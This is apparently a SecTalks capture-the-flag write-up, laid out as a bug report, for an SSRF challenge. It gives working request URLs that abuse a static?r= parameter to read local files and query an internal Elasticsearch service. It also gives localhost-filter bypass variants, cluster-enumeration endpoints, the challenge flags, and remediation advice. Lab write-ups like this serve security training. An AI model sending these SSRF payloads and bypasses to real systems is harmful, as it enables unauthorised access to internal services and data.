yeet

break4ext.md

Server Side Request Forgery: Local Files

Target: https://ssrfsquared.ns.agency/

Proof of Concept

1. Intercept the requests made between the front and back end of the site during the initial load
2. Notice that there is a request for https://ssrfsquared.ns.agency/static?r=http%3A%2F%2F127.0.0.1%3A9447%2Fstyles.css, which can also be confirmed by viewing the source of the page
3. This becomes an entry point for an attacker to probe the internal network
4. Some files return the same content when accessed externally or internally such as index.html or styles.css
5. When viewing https://ssrfsquared.ns.agency/static?r=http://127.0.0.1:9447/styles.css there is a hint that something else is on the server
6. Logically we try https://ssrfsquared.ns.agency/static?r=http://127.0.0.1:9447/flag and it gives us the flag
   (wget -qO- https://ssrfsquared.ns.agency/static?r=http://127.0.0.1:9447/flag)

 sectalks{i_wonder_what_else_is_running_locally}

Extra Info:

• not sure why but localhost gives the message big sorry, we broke localhost, try 127.0.0.1 but this can be circumvented by using the following: 127.0.0.1, 0, Localhost / lOcAlHoSt etc

Impact

P2 - High

Attackers can access localhost and read files stored in the working directory of the application, which may contain data that is not meant for public viewing. In this case only static files are retrieved, but in a real world scenario an attacker may be able to find other files (eg. .php files) which may lead to code execution. If combined with a directory traversal vulnerability, the attacker can also read any files in the entire filesystem with the right permissions.

Remediation

Avoid querying files directly through URL requests using localhost, or perform server-side validation on the URLs requested if it cannot be avoided. Any important files in the working directory should have their permissions set so that they are not viewable by the web application if not necessary (Principal of Least Privilege).

Server Side Request Forgery: Local Services

Target: https://ssrfsquared.ns.agency/

Proof of Concept

The search functionality of the site is powered by Elastic Search, which serves up different Phrack articles. There is also a flag stored in the service somewhere, as searching for FLAG or flag would reveal

The flag is sectalks{REDACTED}

hinting that it should be accessed locally.

1. By doing port enumeration via GET requests or simply by guessing common port numbers, we can find the service at
   https://ssrfsquared.ns.agency/static?r=http://127.0.0.1:9200/
2. Utilizing the _search function we can search for the flag:
   https://ssrfsquared.ns.agency/static?r=http://0:9200/_search?q=sectalks returns :

   {
  "took": 1,
  "timed_out": false,
  "_shards": {
    "total": 5,
    "successful": 5,
    "failed": 0
  },
  "hits": {
    "total": 1,
    "max_score": 8.236906,
    "hits": [
      {
        "_index": "phrack",
        "_type": "article",
        "_id": "976",
        "_score": 8.236906,
        "_source": {
          "content": "The flag is sectalks{ssrf_for_fun_and_profit}",
          "title": "Flag",
          "author": "sy + grc",
          "issue": 0,
          "number": 0
        }
      }
    ]
  }
}

3. The flag can also be found by enumerating all phrack articles (Although not recommended)
   https://ssrfsquared.ns.agency/static?r=http://0:9200/phrack/article/976

Extra Info:

• A lot of additional information can be found by executing any of the following commands

http://0:9200/_cluster/settings
http://0:9200/_cluster/state
http://0:9200/phrack/article/14
http://0:9200/_tasks/
http://0:9200/_nodes?pretty=true
http://0:9200/_mapping
http://0:9200/_cat&?pretty=true

Impact

P2 - High

Attackers can enumerate port numbers and access services that are not public-facing, which might lead to the disclosure of data or unauthorized access to the internal network. This can allow for lateral movement or even worse privilege escalation, depending on the access controls within the internal network.

Remediation

Similar to above, avoid sending requests to the internal network and to perform validation for requests if necessary. It is possible to implement a Web Application Firewall (WAF) but determined attackers may be able to bypass the WAF with specially crafted URLs (eg. by double encoding or using multibyte characters)

Elastic Search by itself does not support authentication so another method of solving this problem is to never assume the internal network is safe, and to install proper access controls on any/all internal services.